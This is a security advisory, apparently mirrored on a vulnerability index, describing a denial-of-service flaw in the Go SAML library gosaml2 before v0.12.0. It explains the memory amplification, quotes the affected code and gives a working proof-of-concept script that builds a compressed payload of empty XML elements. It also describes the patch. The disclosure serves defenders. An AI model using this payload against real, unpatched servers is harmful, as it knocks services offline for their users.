GHSA-66R8-42F7-4Q74
Allocation amplification via XML round-trip validation
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche v0.12.0 | github.com/russellhaering/gosaml2 · -14 d desde divulgación | |
| Divulgación | Publicada | GHSA-66R8-42F7-4Q74 divulgada · CVSS 5.3 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Allocation amplification via XML round-trip validation
Summary
`SAMLServiceProvider.ValidateEncodedResponse` DEFLATE-decompresses the response (up to `MaximumDecompressedBodySize`, default 5 MB) and then round-trip-validates it with `xml-roundtrip-validator`, which allocates a fresh buffer, encoder, and decoder per XML token. A document of many tiny elements compresses about 750:1 and the validator then allocates about 2600x the decompressed size, so a 6.5 KB request allocates roughly 13 GB and peaks around 340 MB of resident heap
Details
`ValidateEncodedResponse` base64-decodes the input and calls `parseResponse`, which DEFLATE-inflates it (capped at `MaximumDecompressedBodySize`) and then runs the round-trip validator over the inflated bytes:
err := maybeDeflate(xml, maxSize, func(xml []byte) error {
doc = etree.NewDocument()
rawXML = xml
return doc.ReadFromBytes(xml)
})
...
// Examine the response for attempts to exploit weaknesses in Go's encoding/xml
err = rtvalidator.Validate(bytes.NewReader(rawXML))https://github.com/russellhaering/gosaml2/blob/v0.11.0/decode_response.go#L500-L518
`maybeDeflate` inflates through an `io.LimitReader` bounded by `maxSize` (default 5 MB), so the decompressed document is size-limited:
lr := io.LimitReader(flate.NewReader(bytes.NewReader(data)), maxSize+1)
deflated, err := io.ReadAll(lr)https://github.com/russellhaering/gosaml2/blob/v0.11.0/decode_response.go#L470-L493
The amplification is downstream of that limit. `rtvalidator.Validate` calls `CheckToken` for every token, and `CheckToken` allocates a new `bytes.Buffer`, a new `xml.Encoder`, and a new `xml.Decoder` for each one. `xml.NewDecoder` alone allocates several KB of internal state, so a document of N tiny elements (~2N tokens) churns on the order of 2N decoder allocations:
func CheckToken(before xml.Token) error {
buffer := &bytes.Buffer{}
encoder := xml.NewEncoder(buffer)
...
decoder := xml.NewDecoder(bytes.NewReader(encoded))
...
}https://github.com/mattermost/xml-roundtrip-validator/blob/v0.1.0/validator.go#L144-L190
DEFLATE turns a few KB on the wire into 5 MB of XML, and the validator turns 5 MB of XML into ~13 GB of allocation. The resident heap also peaks at a few hundred MB (the etree DOM plus the live per-token buffers).
A malicious document is a response filled with empty elements, DEFLATE-compressed:
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<a/><a/><a/> ... (repeated to just under the 5 MB inflate cap) ...
</samlp:Response>PoC
#!/usr/bin/env bash
set -euo pipefail
WORK="$(mktemp -d)"
cd "$WORK"
echo "[*] work dir: $WORK"
go mod init poc >/dev/null 2>&1
go get github.com/russellhaering/gosaml2@v0.11.0 >/dev/null 2>&1
go get github.com/russellhaering/goxmldsig@v1.6.0 >/dev/null 2>&1
cat > poc_test.go <<'EOF'
package poc
import (
"bytes"
"compress/flate"
"encoding/base64"
"strings"
"testing"
saml2 "github.com/russellhaering/gosaml2"
dsig "github.com/russellhaering/goxmldsig"
)
func BenchmarkDeflateAmplification(b *testing.B) {
var sb strings.Builder
sb.WriteString(`<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">`)
for sb.Len() < 4_900_000 { // just under the 5 MB default inflate cap
sb.WriteString("<a/>")
}
sb.WriteString(`</samlp:Response>`)
var buf bytes.Buffer
w, _ := flate.NewWriter(&buf, flate.BestCompression)
w.Write([]byte(sb.String()))
w.Close()
wire := base64.StdEncoding.EncodeToString(buf.Bytes())
b.Logf("wire = %d bytes, decompressed = %d bytes", len(wire), sb.Len())
sp := &saml2.SAMLServiceProvider{
AssertionConsumerServiceURL: "https://sp.example/acs",
Clock: dsig.NewRealClock(),
// default MaximumDecompressedBodySize (5 MB) is in effect
}
b.ReportAllocs()
for i := 0; i < b.N; i++ {
_, _ = sp.ValidateEncodedResponse(wire)
}
}
EOF
echo "[*] running benchmark (tiny wire, watch B/op)"
go test -run='^$' -bench=. -benchmem -benchtime=3x .Expected output (a ~6.5 KB request allocates ~13 GB; numbers vary by machine):
BenchmarkDeflateAmplification-10 3 ~1,500,000,000 ns/op ~12,970,000,000 B/op ...
poc_test.go: wire = 6500 bytes, decompressed = 4900020 bytesA separate resident-heap measurement (sampling `runtime.MemStats.HeapAlloc` during the call) shows the same 6.5 KB request peaks at about 340 MB of live heap.
Impact
Unauthenticated denial of service through allocator/GC pressure and memory. A single ~6.5 KB request allocates ~13 GB and peaks ~340 MB resident. A few dozen concurrent requests exhaust a multi-GB host.
Because this code path isn't tied to the request context it's possible to put sustained preasure on a server through concurrent requests since there's no way to cancel the work.
Maybe the round trip validation should happen after signature validation?
Patch
Fixed in v0.12.0 by https://github.com/russellhaering/gosaml2/pull/284, which bounds the number of XML tokens in a decoded document before it is parsed or round-trip validated. The ceiling is configurable via the new `SAMLServiceProvider.MaximumXMLTokens` field and defaults to 50000 when unset, which is far above what a normal SAML response produces. This is a separate control from `MaximumDecompressedBodySize`, which bounds decompressed bytes rather than token density and did not constrain this attack.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/russellhaering/gosaml2 |
Corregida | v0.12.0 | -14 d | v0.12.0 no afectada |
v0.12.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/russellhaering/gosaml2/security/advisories/GHSA-66r8-42f7-4q74Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
